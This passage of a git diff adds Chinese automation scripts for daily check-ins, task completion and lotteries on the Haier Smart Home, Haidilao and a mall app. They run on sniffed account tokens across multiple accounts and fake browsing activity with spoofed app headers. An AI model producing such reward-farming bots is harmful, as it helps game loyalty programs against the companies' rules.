当前积分[${result.consum_point}]` + `🎉`); + this.userFlag = true; + } else { + $.log(`🌸账号[${this.index}] 查询-失败:${JSON.stringify(result)}❌`) + } + } + async getSignActivity() { + let options = { + method: 'GET', + url: `https://cmallapi.xkmm.cn/buyer-api/sign/activity/code?activityCode=`, + headers: this.headers + } + let { data: result } = await axios.request(options); + if (result?.activity_code) { + $.log(`获取活动信息成功,活动ID:${result.activity_code}`) + this.activity_code = result.activity_code + } + else { + $.log(`获取活动信息失败:${JSON.stringify(result)}❌`) + } + } + async signIn() { + try { + let options = { + url: `https://cmallapi.xkmm.cn/buyer-api/sign/activity/sign`, + method: "POST", + headers: this.headers, + data: JSON.stringify({ "activity_code": this.activity_code, "fill_date": "" }) + } + let { data: result } = await axios.request(options) + if (result.is_sign == true) { + $.log(`签到成功`) + } else { + $.log(`签到失败 [${result.message}]`) + } + } catch (e) { + $.log(`签到失败 [${JSON.stringify(e.message)}]`) + } + + + } + //浏览页面 + async task_1() { + let options = { + url: `https://cmallapi.xkmm.cn/buyer-api/members/browsePage`, + method: "POST", + headers: this.headers, + data: JSON.stringify({}) + } + let { data: result } = await axios.request(options) + if (result?.code == 200) { + $.log(`浏览界面 操作成功`) + } else { + $.log(`浏览界面 操作失败[${JSON.stringify(result)}]`) + } + + } + //浏览社区 + async task_2() { + let options = { + url: `https://cmallapi.xkmm.cn/buyer-api/members/commnity/brosing/duration/add?seconds=10`, + method: "POST", + headers: this.headers, + data: JSON.stringify({}) + } + let { data: result } = await axios.request(options) + if (result?.statusCode == 200) { + $.log(`浏览社区 操作成功`) + } else { + $.log(`浏览社区 操作失败 貌似是正常的 [${result}]`) + } + } + async doLottery() { + let options = { + method: 'GET', + url: `https://cmallapi.xkmm.cn/buyer-api/lucky/activity/extract?activityCode=jfcj${this.activity_code}`, + headers: this.headers + } + let { data: result } = await axios.request(options); + if (result?.lucky_record_vo) { + $.log(`🌸账号[${this.index}]` + `🕊抽奖结果:${result.lucky_record_vo.prize_name}🎉`); + } else { + $.log(`🌸账号[${this.index}] 抽奖-失败:${JSON.stringify(result)}❌`) + } + } + async getLotteryTaskList() { + let options = { + method: 'GET', + url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/package/jfcj${this.activity_code}`, + headers: this.headers + } + let { data: result } = await axios.request(options); + if (result?.member_id) { + $.log(`🌸账号[${this.index}]` + `🕊抽奖次数任务🎉`); + for (let task of result.task_list) { + if (task.today_available_task_number >= 1 && task.today_obtained_task_number < task.today_available_task_number) { + + if (task.task_key == "LOGIN") { + $.log(`🌸账号[${this.index}]` + `🕊正在完成任务:${task.task_name}🎉`); + + let options = { + url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/getLoginOpporturnity/jfcj${this.activity_code}`, + method: "PUT", + headers: this.headers, + data: JSON.stringify({}) + } + let { data: result } = await axios.request(options) + $.log(result) + } + if (task.task_key == "SHARE") { + + } + if (task.task_key == "BROWSE_PAGE_TASK") { + $.log(`🌸账号[${this.index}]` + `🕊正在完成任务:${task.task_name}🎉`); + + await this.lotteryTaskBrowser(task.link) + + } + } + } + } else { + $.log(`🌸账号[${this.index}] 抽奖次数任务-失败:${JSON.stringify(result)}❌`) + } + } + async lotteryTaskBrowser(link) { + let optionsStart = { + url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/browse/page/start/jfcj${this.activity_code}?pageUrl=${link}`, + method: "GET", + headers: this.headers + } + await axios.request(optionsStart) + await $.wait(20 * 1000) + let optionsEnd = { + url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/browse/page/end/jfcj${this.activity_code}?pageUrl=${link}`, + method: "GET", + headers: this.headers + } + await axios.request(optionsEnd) + } + async getLotteryNum() { + let options = { + url: `https://cmallapi.xkmm.cn/buyer-api/lucky/activity/opporturnity?activityCode=jfcj${this.activity_code}`, + method: "GET", + headers: this.headers + } + let { data: result } = await axios.request(options) + if (result.can_use > 0) { + $.log(`当前剩余抽奖次数:${result.can_use}`) + for (let can = 0; can < result.can_use; can++) { + await this.doLottery() + } + } else { + $.log(`当前剩余抽奖次数0`) + } + + } + + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/海尔智家/2025-06-28_海尔_e0ba0d26.js b/脚本库/微信小程序/抓包版/海尔智家/2025-06-28_海尔_e0ba0d26.js new file mode 100644 index 0000000..e96ef31 --- /dev/null +++ b/脚本库/微信小程序/抓包版/海尔智家/2025-06-28_海尔_e0ba0d26.js @@ -0,0 +1,305 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%B5%B7%E5%B0%94.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%B5%B7%E5%B0%94.js +// # Repo: jdqlscript/toulu +// # Path: 海尔.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: e0ba0d268144ddc95a136f4bc9e5ea67c910ee075fc23691a58de8624d50ec33 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * 海尔智家 + * cron 8 1 * * * hezj.js + +TL库:https://github.com/3288588344/toulu.git +tg频道:https://t.me/TLtoulu +QQ频道:https://pd.qq.com/s/672fku8ge +* ========= 青龙--配置文件 =========== + * # 项目名称 + * export hezj_data='token&clientId @ token&clientId ' + * + * 多账号用 换行 或 @ 分割 + * 抓包 https://mps.haiersmarthomes.com/api-gw , 找到accounttoken/accesstoken & clientId即可 + * ==================================== + * + */ + + + +const $ = new Env("海尔智家"); +const ckName = "hezj_data"; +//-------------------- 一般不动变量区域 ------------------------------------- +const Notify = 1; //0为关闭通知,1为打开通知,默认为1 +let debug = 1; //Debug调试 0关闭 1开启 +let envSplitor = ["@", "\n"]; //多账号分隔符 +let ck = msg = ''; //let ck,msg +let host, hostname; +let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ''; +let userList = []; +let userIdx = 0; +let userCount = 0; +//---------------------- 自定义变量区域 ----------------------------------- +//--------------------------------------------------------- + +async function start() { + + console.log('\n================== 用户CK ==================\n'); + taskall = []; + for (let user of userList) { + taskall.push(await user.task_userinfo()); + await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数 + } + await Promise.all(taskall); + console.log('\n================== 用户签到 ==================\n'); + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + + taskall.push(await user.task_signin()); + await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数 + } + } + await Promise.all(taskall); + console.log('\n================== 获取任务列表 ==================\n'); + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.task_list()); + await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数 + } + } + await Promise.all(taskall); + console.log('\n================== 执行任务 ==================\n'); + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + for (let num in user.taskList) { + if (user.taskList[num].taskStatus == 0) { + taskall.push(await user.task_do(user.taskList[num].taskCode)); + } else { + console.log('当前任务已完成'); + } + } + await $.wait(5000); //延迟 1秒 可充分利用 $.环境函数 + } + } + await Promise.all(taskall); + + + +} + + +class UserInfo { + constructor(str) { + this.index = ++userIdx; + this.ck = str.split('&')[0]; //单账号多变量分隔符 + this.clientid = str.split('&')[1]; + //let ck = str.split('&') + //this.data1 = ck[0] + this.ckStatus = true + this.taskList = ''; + this.headersPost = { + 'Host': 'mps.haiersmarthomes.com', + 'accesstoken': this.ck, + 'origin': 'https://zjrs.haier.net', + 'user-agent': 'Mozilla/5.0 (Linux; U; Android 10; zh-CN; MI 8 Lite Build/QKQ1.190910.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/69.0.3497.100 UWS/3.22.2.55 Mobile Safari/537.36 UCBS/3.22.2.55_220929181439 ChannelId(1) NebulaSDK/1.8.100112 Nebula App/Uplus Nebula mPaaSClient', + 'Content-Type': 'application/json;charset=UTF-8', + 'accept': 'application/json, text/plain, */*', + 'clientid': this.clientid, + 'timestamp': ts13(), + 'accounttoken': this.ck, + 'appid': 'MB-UZHSH-0000', + 'appkey': 'f50c76fbc8271d361e1f6b5973f54585', + 'appversion': '7.19.0', + 'referer': 'https://zjrs.haier.net/haierActivitys/intelligentHouse/index.html?container_type=3&hybrid_navbar_hidden=true&needAuthLogin=1&needLogin=1&needShare=1&checkGuestMode=1', + //'accept-encoding: 'gzip, deflate' + //'accept-language': 'zh-CN,en-US;q=0.9' + 'x-requested-with': 'com.haier.uhome.uplus' + } + + } + async task_userinfo() {//userinfo + try { + let options = { + url: `https://mps.haiersmarthomes.com/api-gw/wisdomHouseActivity/activity/index`, + headers: this.headersPost, + body: JSON.stringify({ "sourceClient": 1 }) + } + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.retCode == '00000') { + DoubleLog(`账号[${this.index}] ck验证成功: [${result.data.nickName}] 当前贝壳 [${result.data.wisdomStarBalance}] `); + this.ckStatus = true + } else { + DoubleLog(`账号[${this.index}] ck验证失效,原因未知!`); + this.ckStatus = false + console.log(result); + } + } catch (e) { + console.log(e); + } + } + async task_signin() { + try { + let options = { + url: `https://mps.haiersmarthomes.com/api-gw/wisdomHouseActivity/sign/signIn`, + headers: this.headersPost, + body: JSON.stringify({ "sourceClient": 1 }) + } + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.retCode == '00000') { + DoubleLog(`账号[${this.index}] 签到成功: 累计签到[${result.data.signDays}] `); + } else { + DoubleLog(`账号[${this.index}] 签到失效,原因未知!`); + + console.log(result); + } + } catch (e) { + console.log(e); + } + } + async task_list() {//任务列表 + try { + let options = { + url: `https://mps.haiersmarthomes.com/api-gw/wisdomHouseActivity/task/queryTask`, + headers: this.headersPost, + body: JSON.stringify({ "publishType": 2, "sourceClient": 1 }) + } + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.retCode == '00000') { + this.taskList = result.data.taskList + } else { + console.log(result); + } + } catch (e) { + console.log(e); + } + } + async task_do(taskCode) {//任务列表 + try { + let options = { + url: `https://mps.haiersmarthomes.com/api-gw/wisdomHouseActivity/task/doTask`, + headers: this.headersPost, + body: JSON.stringify({ "taskCode": taskCode, "sourceClient": 1 }) + } + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.retCode == '00000') { + DoubleLog(`账号[${this.index}] 任务执行成功: [${taskCode}] `); + + } else { + DoubleLog(`账号[${this.index}] 任务执行失效:,原因未知!`); + console.log(result); + } + } catch (e) { + console.log(e); + } + } + + + +} + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } + await SendMsg(msg); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + + +//******************************************************** +// 变量检查与处理 +async function checkEnv() { + if (userCookie) { + // console.log(userCookie); + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); + userCount = userList.length; + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userCount}个账号`), true;//true == !0 +} +///////////////////////////////////////////////////////////////////////////////////// + +function httpRequest(options, method) { + //options = changeCode(options) + typeof (method) === 'undefined' ? ('body' in options ? method = 'post' : method = 'get') : method = method + return new Promise((resolve) => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(`${method}请求失败`); + //console.log(JSON.parse(err)); + $.logErr(err); + //throw new Error(err); + //console.log(err); + } else { + //httpResult = data; + //httpResponse = resp; + if (data) { + //console.log(data); + data = JSON.parse(data); + resolve(data) + } else { + console.log(`请求api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + //console.log(e, resp); + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function ts13() { + return Math.round(new Date().getTime()).toString(); +} +// 双平台log输出 +function DoubleLog(data) { + if ($.isNode()) { + if (data) { + console.log(`${data}`); + msg += `\n${data}` + } + } else { + console.log(`${data}`); + msg += `\n${data}` + } +} +// 发送消息 +async function SendMsg(message) { + if (!message) return; + if (Notify > 0) { + if ($.isNode()) { + var notify = require("./sendNotify"); + await notify.sendNotify($.name, message) + } else { + $.msg($.name, '', message) + } + } else { + console.log(message) + } +} +// 完整 Env +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("xxxxxx") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/海尔智家/2026-05-14_hezj_88376ece.js b/脚本库/微信小程序/抓包版/海尔智家/2026-05-14_hezj_88376ece.js new file mode 100644 index 0000000..1fff9fc --- /dev/null +++ b/脚本库/微信小程序/抓包版/海尔智家/2026-05-14_hezj_88376ece.js @@ -0,0 +1,152 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hezj.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hezj.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/hezj.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 88376ece68c01e969233f3786f442391f0e8a3d566348985e3b6727240b5c972 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 海尔智家 +cron: 30 7 * * * +------------------------------------------ +#Notice: +变量名hezj +抓取https://zjrs.haier.net请求头accounttoken 多账户&或换行 + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("海尔智家"); +let ckName = `hezj`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + + } + request(options) { + let baseHeaers = { + "host": "zj.haier.net", + "content-type": "application/json", + "accounttoken": this.token, + "appid": "MB-UZHSH-0001", + "accept": "*/*", + "sec-fetch-site": "same-site", + "appversion": "10.18.0", + //"clientid": "5D6FD623-11A7-4B62-88AD-D3D62D07B72F", + "accept-language": "zh-CN,zh-Hans;q=0.9", + "accept-encoding": "gzip, deflate, br", + "sec-fetch-mode": "cors", + "origin": "https://zjrs.haier.net", + "user-agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Hainer/Haier Simulation/Nebula App/Uplus Nebula mPaaSClient", + "referer": "https://zjrs.haier.net/", + "sec-fetch-dest": "empty" + } + options.headers = Object.assign(baseHeaers, options.headers) + return axios.request(options) + } + + async run() { + + await this.pointInfo() + await this.signIn() + } + async pointInfo() { + let options = { + method: 'POST', + url: `https://zj.haier.net/zjapi/zjBaseServer/signDetail/getUserPointsAndWallet`, + headers: {}, + data: { + + } + }; + let { data: result } = await this.request(options); + + if (result.retCode == '00000') { + $.log(`海贝:${result.data.haiBeiTotal}`) + $.log(`红包:${result.data.wallet}`) + } else { + $.log(`查询余额失败: ${result.retInfo}`) + } + } + + async signIn() { + let options = { + method: 'POST', + url: `https://zj.haier.net/api-gw/zjBaseServer/daily/sign`, + headers: {}, + data: { + + } + }; + let { data: result } = await this.request(options); + if (result?.retCode == '00000') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `🕊当前已签到${result.data.totalSignDay}天🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.retInfo}❌`) + } + + + + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} diff --git a/脚本库/微信小程序/抓包版/海底捞/2026-04-07_hdl_6ef2ae22.js b/脚本库/微信小程序/抓包版/海底捞/2026-04-07_hdl_6ef2ae22.js new file mode 100644 index 0000000..c0f001b --- /dev/null +++ b/脚本库/微信小程序/抓包版/海底捞/2026-04-07_hdl_6ef2ae22.js @@ -0,0 +1,198 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hdl.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hdl.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/hdl.js +// # UploadedAt: 2026-04-07T12:21:56Z +// # SHA256: 6ef2ae22c4aac78dc3761a274008d3d63cb0205bbfb195372c14e2be7979bd73 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 海底捞 +cron: 30 8 * * * +------------------------------------------ +#Notice: +如果微信小程序抓包的写变量值前面加上wx# +例如wx#OPENID_#uid +https://superapp-public.kiwa-tech.com/api/gateway/login/center/login/wechatLogin 接口的请求参数openId#uid +如果是APP抓包的写变量值前面加上app# +抓包https://superapp-public.kiwa-tech.com/api/gateway/login/center/login/wechatLogin 接口的请求参数token +例如app#TOKEN_APP_ + + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("海底捞"); +let ckName = `hdl`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.tokenType = this.user[0]; + this.openId = null + this.uid = null + this.token = null + this.valid = false; + this.name = '' + this.signinSource = '' + this.platformname = '' + } + + async run() { + if (this.tokenType == 'wx') { + this.platformname = 'wechat' + this.openId = this.user[1]; + this.uid = this.user[2]; + this.signinSource = 'MiniApp' + await this.wxLogin() + if (!this.valid) return; + + } + if (this.tokenType == 'app') { + this.token = this.user[1]; + this.signinSource = 'APP' + this.platformname = 'app' + } + await this.info() + await this.signIn() + } + async wxLogin() { + try { + let options = { + url: "https://superapp-public.kiwa-tech.com/api/gateway/login/center/login/wechatLogin", + headers: { + "_haidilao_app_token": "", + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "appid": "15", + "appname": "HDLMember", + "appversion": "3.240.0", + "content-type": "application/json", + "platformname": this.platformname, + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "smdeviceid": "", + "xweb_xhr": "1" + }, + method: 'POST', + data: { + "type": 1, + "country": "CN", + "codeType": 1, + "business": "登录", + "terminal": "会员小程序", + "openId": "" + this.openId, + "uid": "" + this.uid + } + } + let { data: result } = await axios.request(options); + if (result.code == 100000) { + this.token = result.data.token + this.name = result.data.nickName + $.log(`账号[${this.index}]【${this.name}】 登录成功`); + 